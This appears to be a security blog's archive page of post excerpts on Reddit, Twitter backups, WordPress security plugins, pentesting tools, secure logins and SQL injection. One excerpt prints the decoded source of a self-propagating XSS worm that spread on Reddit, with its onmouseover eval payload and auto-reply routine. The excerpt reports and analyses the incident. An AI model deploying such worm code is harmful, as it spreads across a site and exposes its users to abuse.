Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen.
You can read the whole story here (and come back afterwards).
(continue)
Today someone came to this blog searching for a twitter backup facility. I never did post such an application/script so I figured I’d share my way of backing up my tweets.
I actually never backup my tweets (nothing of value would be lost), and never intend to, but for the sake of posting something I’ve said I’d give it a go.
(continue)
As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I’m suddenly starting to get error pages…
An error occurred while processing your request.
Reference #97.27c37259.1254106488.35b1d0e
The (decoded) code of the worm is the following:
// generate payload/attack vector
// having trouble understanding why this works
z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";
// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?
// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
if(e[i].innerHTML=='reply')
$(e[i]).click();
// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
e[i].value=z;
// submit
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
if(e[i].innerHTML=='save'&&e[i].style.display!='none')
$(e[i]).click();
In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I’d be more than happy.
If not, we’ll have an unsolved mystery :)
UPDATE: worm author has happily shared its way of evading the filter.
UPDATE 2: post about the bug on the reddit blog.
As any other IT security enthusiast I have limited trust towards the platforms I use, the current case being WordPress. The intention was there (to write my own blogging platform) but quickly gave up to it, mostly due to lack of time…
I had a to make a compromise; use the platform but try to secure it as well… But instead of applying security from outside the platform, this time I was going to write WordPress plugins to do the job… five/ten minutes into coding stuff, I was like:
Wait! What the fuck am I doing? WordPress has got a huge number of extensions, for sure it’s got security oriented ones as well.
And I was right… after browsing a couple of minutes through them (I didn’t say there where many) I’ve came up with the following list of security extensions which I liked: Login LockDown, Paranoid911, Restrict Login By IP, Times to Come security plugin and WP Security Scan.
(continue)
There are a couple of security auditing frameworks out there, and the temptation is high on creating your own; either in Perl, Ruby, Python and why not in PHP as well.
Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, I’ve read an interesting article on GNUCITIZEN, which made me rethink my strategy…
One of the comments pointed it out very well:
most of the stuff we need is on the shell already. pentesting frameworks is like the new security-testing hype. first we had hundreds of portscanners, then hundreds of webapp MiTM proxies, then hundreds of fuzzers, then hundreds of SQL injectors, now it’s about pentesting frameworks :)
So instead of starting to write redundant code, I started to learn already available command line tools, which have years of development behind and fill in almost every aspect they need to.
Basically I’m building my framework around already available tools, and only code up things that do not exist, or for some very particular cases.
(continue)
After reading the title you may say to yourself “Oh no, another <<secure login script>> article! Aren’t there enough already online?”. Yes there are, but unfortunately many tutorials (if it’s appropriate to call them so) only show you how to write SQL Injection free code. But that isn’t enough. What about brute force (dictionary, hybrid) attacks? Or how about making your admin panel (user panel) CSRF free? Well this article will try to deal with those issues too.
Yesterday I listened OWASP’s Podcast #1 and recall the conversation about (media buzzing) Clickjacking attacks, and I can’t agree more on a certain aspect of the conversation: attacks are becoming more simpler than ever. Just having a look at common attacks: SQL Injection attacks (if done manually) need a certain amount of SQL knowledge, XSS attacks require some Javascript knowledge, CSRF attacks require some knowledge on website functionality, while Clickjacking attacks require almost no skill.
Logs are a very important part of security, either for preventing attacks or for forensics. But sometimes you don’t have access to logs, like for example in shared hosting environments.
A web application written on top of an insecurely configured PHP parser is as good as an account with a weak password.
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (Wikipedia)